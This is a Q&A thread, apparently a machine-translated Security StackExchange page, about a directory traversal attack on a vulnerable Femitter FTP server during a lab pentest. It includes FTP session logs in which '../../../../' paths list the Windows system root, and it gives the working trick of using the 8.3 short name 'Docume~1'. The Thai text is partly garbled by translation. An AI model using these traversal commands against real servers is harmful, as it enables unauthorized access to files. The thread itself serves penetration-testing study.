การโจมตีผ่านไดเรกทอรี FTP ในไดเรกทอรีที่มีช่องว่างสีขาว


15

ฉันกำลังดำเนินการเพนต์ที่ถูกลงโทษในสภาพแวดล้อมอ้างอิงแบบปิดและต้องดิ้นรนกับปัญหาที่เรียบง่ายซึ่งดูเหมือนว่าตอนนี้ฉันไม่สามารถแก้ไขได้

เมื่อพยายามที่จะดำเนินการโจมตีแบบข้ามเส้นทางไดเรกทอรีกับเซิร์ฟเวอร์ Fermitter FTP ที่มีช่องโหว่ที่ทำงานบน MS Windows OS เป็นไปได้ที่จะทำ LIST บนรูทระบบ (ที่อยู่และรายการเนื้อหาเปลี่ยนแปลงที่นี่เพื่อการอ้างอิงเท่านั้น):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

อย่างไรก็ตามหากฉันต้องการแสดงรายการเนื้อหาของโฟลเดอร์ที่มีช่องว่างสีขาวเช่นDocuments and settingsฉันไม่สามารถแสดงรายการเนื้อหาไดเรคทอรีได้เนื่องจากมีการเว้นช่องไฟสีขาว

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

ฉันได้ลองใช้ไคลเอนต์ FTP ที่แตกต่างกัน (CLI และ GUI บน Linux และ Windows) และพวกเขาไม่สนใจช่องว่างสีขาวหรือไม่อนุญาตการสำรวจเส้นทาง

นอกจากนี้ยังพยายามเขียนสคริปต์การโจมตีบน Python โดยใช้ที่ซ็อกเก็ตดิบก่อนแล้วจึง ftplib เพื่อส่งคำสั่งในรูปแบบ HEX ไปยังเซิร์ฟเวอร์ FTP โดยตรง แต่ไม่ประสบความสำเร็จ

Googling สองสามชั่วโมงไม่ได้ให้วิธีการแก้ปัญหา (ใช่มีตัวเลือกมากมายซึ่งไม่ได้ทำงาน) นั่นคือสาเหตุที่มีคนอยู่ที่นี่ซึ่งมีปัญหาเดียวกัน ค่อนข้างแน่ใจว่านี่ไม่ใช่ครั้งแรกที่จำเป็นต้องใช้การสำรวจเส้นทางด้วยช่องว่างสีขาว


การพิจารณาตัวพิมพ์เล็กและตัวพิมพ์ใหญ่นั้นไม่เกี่ยวข้องกับไคลเอนต์ FTP อย่างน้อยไคลเอนต์ GNU / Linux FTP จะแสดงรายการไดเรกทอรีโดยไม่ต้องพิมพ์ตัวอักษร

@ lockout: case sensitive เป็นเรื่องฝั่งเซิร์ฟเวอร์ไม่ใช่เรื่องไคลเอนต์ ลูกค้าแสดงรายการข้อมูลในลักษณะเดียวกับที่เซิร์ฟเวอร์ส่งและไม่เปลี่ยนแปลงเคส
— Steffen Ullrich

1
ลอง C: \ Docume ~ 1 \ a ด้วย
— สุนัขกินโลกของแมว

1
ลองหลบช่องว่างด้วย\หรือการอ้างถึงสตริงไดเรกทอรี
— DavidPostill

1
I am happy it worked for you @lockout. Since you have gone through the trouble of answering your question, it is fine by me that you accept it as the answer. Thanks for crediting me.
— Dog eat cat world

คำตอบ:


16

Solution suggested by @Dogeatcatworld to use MS Windows directory short notation such as C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Really good article from MS Knowledge Base explains the 8.3 directory notation: How Windows Generates 8.3 File Names from Long File Names


2
OSCP I see. To add onto your tip, for short directories, such as "All Users", drop the space and use "AllUse~1". Did you find a way to mount the FTP to browse interactively, or did you just end up downloading files one by one.
— n00b

1

The "short name" is really the old DOS 8.3 naming convention, so all the directories will be the first 6 letters followed by ~1 assuming there is only one name that matches, for example:

C:\ABCDEF~1 - C:\ABCDEFG I AM DIRECTORY
C:\BCDEFG~1 - C:\BCDEFGHIJKL M Another Directory

Here is the only exception:

C:\ABCDEF~1 - C:\ABCDEFG I AM DIRECTORY
C:\ABCDEF~2 - C:\ABCDEFGHI Directory as well

Source: How can I find the short path of a Windows directory/file?


0

Ftp doesn't use url encoding, so %xx won't work unless you're using ftp in a browser who can translate it for you.

Try using quotes around it instead, ie: ls "../../some dir"


1
HI, if you look into the attempts tried for directory traversal, you will see I attempted multiple quotes: single quote, double quote, and back tick. They did not work, as represented in the FTP output listing. Using %20 was just to experiment if that would work, because of desperate attempts to try all options. Of course % encoding works on browsers and FTP clients able to interpret them.
— lockout
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.